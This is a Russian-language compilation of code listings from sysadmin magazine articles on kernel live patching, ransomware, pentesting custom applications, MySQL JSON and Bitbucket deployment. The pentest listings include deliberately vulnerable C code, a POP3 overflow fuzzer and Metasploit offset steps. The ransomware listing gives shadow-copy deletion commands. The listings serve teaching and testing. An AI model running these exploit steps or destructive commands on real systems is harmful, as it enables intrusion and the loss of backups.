Обновление ядра Linux без перезагрузки. Исправляем уязвимости, не затрагивая других процессов Денис Силаков # yum install -y readykernel-patch-$(uname -r) $ kpatch-build -s <путь к исходному коду ядра> -c <путь к конфигурационному файлу> -v <путь к образу ядра с отладочной информацией> <путь к патчу для исходного кода> $ (uname -s; uname -m; uname -r; uname -v) | curl https://uptrack.api.ksplice.com/api/1/update-list/ -L -H "Accept: text/text" --data-binary @- ----------------------------------------------------------------------------------------- А ты защитил себя от кибершантажиста? Шифровальщики – угроза №1 в 2016 году Николай Демидов vssadmin.exe delete shadows /all wmic shadowcopy delete ----------------------------------------------------------------------------------------- Проводим пентест. Часть 5. Поиск уязвимостей в «самописных» приложениях Андрей Бирюков char buf[9]; sprintf(buf, "%p", pointer); $ rats #include int main(int argс, char* argv[ ]) { if(argc > 1) printf(argv[1]); return 0; } $ rats vuln_code1.c #include int main(int argc, char *argv[]) { char c[12]; // для переменной c зарезервировано 12 байт strcpy(c, argv[1]); // копируем переданные из командной строки данные в переменную c return 0; } #!/usr/bin/python import socket # Создаем массив buffer, от 100 до 3000, с шагом 200 и заполняем его символами "A". buffer=["A"] counter=100 while len(buffer) <= 30: buffer.append("A"*counter) counter=counter+200 for string in buffer: # выводим на экран данные по текущей итерации print "Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) # устанавливаем соединение с сервером по порту 110 connect=s.connect(('192.168.1.1',110)) s.recv(1024) s.send('USER test\r\n') s.recv(1024) # передаем сформированную ранее строку s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n') s.close() # ./fuzzer.py # locate pattern_create # /usr/share/metasploit-framework/tools/pattern_create.rb 2700 # /usr/share/metasploit-framework/tools/pattern_offset.rb 9694438 buffer = "A" * 2606 + "B" * 4 + "C" * 90 buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4) ----------------------------------------------------------------------------------------- Настройка MS Lync 2013. Часть 2. Клиентская часть Сергей Болдин Update-CsAddressBook -Verbose ----------------------------------------------------------------------------------------- Серая мышь голубых кровей – 2. Об одной математической интерпретации OLAP-кубов Константин Токмачев Листинг 1. Вычисление полуаддитивной меры на языке SQL --среднее значение в день по месяцам года select month(x.datdoc) as period,avg(x.sumbyday) as avgonday from ( select sum(weight) as sumbyday, datdoc from m1salesbynom group by datdoc ) as x group by month(x.datdoc) union --среднее значение в день по году select year(x.datdoc) as period,avg(x.sumbyday) as avgonday from ( select sum(weight) as sumbyday, datdoc from m1salesbynom group by datdoc ) as x group by year(x.datdoc) order by 1 Листинг 2. Запрос на языке MDX для подсчета средней суммы продаж на одного клиента [ср. сумма] по дням и за месяц в целом посредством функции avg with member measures.[чсл кли] as filter(Descendants( [план_клиент].[иерарх филиал_кл].currentmember, [план_клиент].[иерарх филиал_кл].[ клиент]), [Measures].[сумма р]).count member measures.[ср.сумма] as AVG(Descendants( [план_клиент].[иерарх филиал_кл].currentmember, [план_клиент].[иерарх филиал_кл].[клиент]), [Measures].[сумма р]) select {[Measures].[сумма р],Measures.[ср.сумма], measures.[чсл кли]} on 0, filter([время].[Date].members, measures.[чсл кли]>0) on 1 from [RMDBYITEMS2009] where ([время].[Month].&[2011-01-01T00:00:00], [иерарх номенкл].[номенклатура]. &[Паста икорная "Икринка" подкопченная 160гр./18]) ----------------------------------------------------------------------------------------- NoSQL in MySQL Александр Календарев CREATE TABLE employees (data JSON); INSERT INTO employees VALUES ('{"id": 1, "name": "Jane"}'); INSERT INTO employees VALUES ('{"id": 2, "name": "Joe"}'); SELECT * FROM employees; INSERT INTO employees (data) VALUES('text'); mysql> SELECT JSON_EXTRACT(data, '$.id') FROM employees WHERE data->'$.name' = 'Joe'; [[database.]table.]column->"$" SELECT emp_no, JSON_EXTRACT(data,'$.first_name') AS name FROM employees WHERE data->'$.gender'='M' LIMIT 3; SELECT emp_no, data->'$.first_name' AS name, JSON_EXTRACT(data,'$.titles[0].title') AS title FROM employees WHERE data->'$.gender'='M' LIMIT 3; SELECT emp_no, data->'$.first_name' name FROM employees WHERE data->'$.first_name'='Chirstian'; ALTER TAB employees ADD name VARCHAR(30) AS (data->'$.first_name'); SELECT emp_no, name FROM employees WHERE data->'$.gender'='M' LIMIT 3; describe employees; show create table employees; SELECT name FROM employees WHERE name = '"Kyoichi"'; ALTER TABLE employees DROP name; ALTER TABLE employees ADD name VARCHAR(30) AS (json_unquote(data->'$.first_name')); mysql> explain select name from employees where name = 'Kyoichi' \G; ALTER TABLE employees ADD INDEX (name); mysql> explain select name from employees where name = 'Kyoichi' \G; ALTER TABLE employees ADD fname varchar(30) AS (data->"$.first_name") STORED; INSTALL PLUGIN mysqlx SONAME 'mysqlx.so'; SHOW PLUGINS; $ sudo netstat -tpln CREATE USER IF NOT EXISTS mysqlxsys@localhost IDENTIFIED WITH mysql_native_password AS '12345' ACCOUNT LOCK; GRANT SELECT ON mysql.user TO mysqlxsys@localhost; GRANT SUPER ON *.* TO mysqlxsys@localhost; mysql-js> \connect akalend@127.0.0.1 mysql-js> \u test mysql-js> session = db.getSession() mysql-js> session mysql-js>db.getCollections() mysql> show tables; mysql-js> db.getCollections() mysql>describe employees; mysql>describe xxx ; mysql-js> xxx.add({name: 'Mike', age: 39}).execute(); mysql-js> xxx.add({name: 'Lena', age: 25}).execute(); mysql-js> xxx.add({name: 'Lara', age: 42}).execute(); mysql-js> xxx.add({name: 'Alex', age: 28}).execute(); mysql> select * from xxx; mysql-js> xxx.find(); mysql-js> xxx.find('age=25'); mysql-js>db.city.insert().values(null, "San Francisco", "USA", "California", '{"Population":830000}') wget https://dev.mysql.com/get/Downloads/Connector-Nodejs/mysql-connector-nodejs-1.0.2.tar.gz npm install mysql-connector-nodejs-1.0.2.tar.gz var mysqlx = require('mysqlx'); mysqlx.getSession({ host: '127.0.0.1', port: 33060, dbUser: 'akalend', dbPassword: '12345' }).then(function (session) { return session.createSchema("test_schema").then(function (schema) { return schema.createCollection("test"); }).then(function (collection) { return Promise.all([ collection.add( {baz: { foo: "bar"}}, {foo: { bar: "baz"}} ).execute(), collection.find("$.baz.foo == 'bar'").execute(function (row) { console.log("Row: %j", row); }).then(function (res) { console.log("Collection find done!"); }), collection.remove("($.foo.bar) == 'baz'").execute().then(function () { console.log("Document deleted"); }), collection.drop() ]); }).then(function () { return session.dropSchema("test_schema"); }).then(function () { return session.close(); }); }).catch(function (err) { console.log(err.stack); process.exit(); }); ----------------------------------------------------------------------------------------- Работаем с Bitbucket Сергей Яремчук $ nano .htaccess $ git commit -a -m "htaccess correction" $ git init $ git clone https://аккаунт@bitbucket.org/тема/репозиторий.git $ git pull origin master $ ssh-keygen -t rsa -b 4096 -C "user@example.org" $ chmod 0600 ~/.ssh/bitbucket $ eval "$(ssh-agent -s)" $ ssh-add ~/.ssh/bitbucket $ ssh-add -l Host bitbucket.org IdentityFile ~/.ssh/bitbucket $ ssh -Tvv git@bitbucket.org $ git clone git@bitbucket.org:аккаунт/тема/репозитарий.git $ sudo chown -R www-data:www-data /var/www/site/.* $ git remote add origin git@bitbucket.org:аккаунт/тема/репозитарий.git $ git pull origin master $ curl -X POST -v -u user:pass https://api.bitbucket.org/2.0/repositories/название_репозитория -H "Content-Type: application/json" -d '{"is_private": true}' $ curl -X POST -v -u 'user:pass' -d '{ "description" : "Autodeploy", "url" : "http://example.org/bitbucket.php", "events" : [ "repo:push" ], "active": "true" } ' https://api.bitbucket.org/2.0/repositories/название_репозитария/hooks $ nano bitbucket.php &1"); ?> shell_exec("sudo /usr/bin/git pull origin master 2>&1"); www-data ALL=(root) NOPASSWD:/usr/bin/git $ sudo nano /usr/local/vesta/bin/v-add-web-domain ######## Git Bitbacket ######## repo=$(echo -e "$domain" | sed -e "s/\.example.org//g") ## создаем репозиторий curl -X POST -v -u user:pass https://api.bitbucket.org/2.0/repositories/тема/$repo -H "Content-Type: application/json" -d '{"is_private": true}' # создаем хук # обратите внимание на кавычки "'" в домене, без них переменная не раскроется curl -X POST -v -u 'user:pass' -d '{ "description" : "Autodeploy", "url" : "'"http://$domain/bitbucket.php"'", "events" : [ "repo:push" ], "active": "true" } ' https://api.bitbucket.org/2.0/repositories/$repo/hooks # Переходим в каталог веб-сервера, копируем скелет и устанавливаем права на .git (на остальное уже есть в скрипте) cd $HOMEDIR/$user/web/$domain/public_html git init git remote add origin git@bitbucket.org:тема/$repo.git chown -R $user:$user $HOMEDIR/$user/web/$domain/.* -----------------------------------------------------------------------------------------